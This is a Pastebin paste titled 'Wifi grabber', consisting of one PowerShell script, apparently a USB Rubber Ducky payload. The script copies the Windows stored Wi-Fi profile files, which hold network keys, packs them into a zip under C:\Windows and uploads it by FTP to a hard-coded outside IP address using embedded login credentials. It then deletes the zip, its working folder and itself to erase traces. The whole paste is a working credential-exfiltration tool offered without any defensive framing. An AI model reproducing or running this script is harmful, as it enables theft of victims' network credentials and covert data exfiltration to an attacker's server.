briannovius

Wifi grabber

Feb 10th, 2018
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.07 KB | None | 0 0
  1. $folderDateTime = (get-date).ToString('d-M-y HHmmss') $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime $fileSaveDir = New-Item ($userDir) -ItemType Directory $date = get-date $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>" $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>" $wlanSaveDir = New-Item $userDir'\Duck\WLAN_PROFILES' -ItemType Directory $srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces' Copy-Item $srcDir $wlanSaveDir -Recurse $Report >> $fileSaveDir'/ComputerInfo.html' function copy-ToZip($fileSaveDir){ $srcdir = $fileSaveDir $zipFile = 'C:\Windows\Report.zip' if(-not (test-path($zipFile))) { set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) (dir $zipFile).IsReadOnly = $false} $shellApplication = new-object -com shell.application $zipPackage = $shellApplication.NameSpace($zipFile) $files = Get-ChildItem -Path $srcdir foreach($file in $files) { $zipPackage.CopyHere($file.FullName) while($zipPackage.Items().Item($file.name) -eq $null){ Start-sleep -seconds 1 }}} copy-ToZip($fileSaveDir) $final = 'C:\Windows\Report.zip' $ftpAddr = "ftp://rootkit:AdmiralSnips123@83.160.125.93:21/Report.zip" $browser = New-Object System.Net.WebClient $url = New-Object System.Uri($ftpAddr) $browser.UploadFile($url, $final) remove-item $fileSaveDir -recurse remove-item 'C:\Windows\Report.zip' Remove-Item $MyINvocation.InvocationName
Add Comment
Please, Sign In to add comment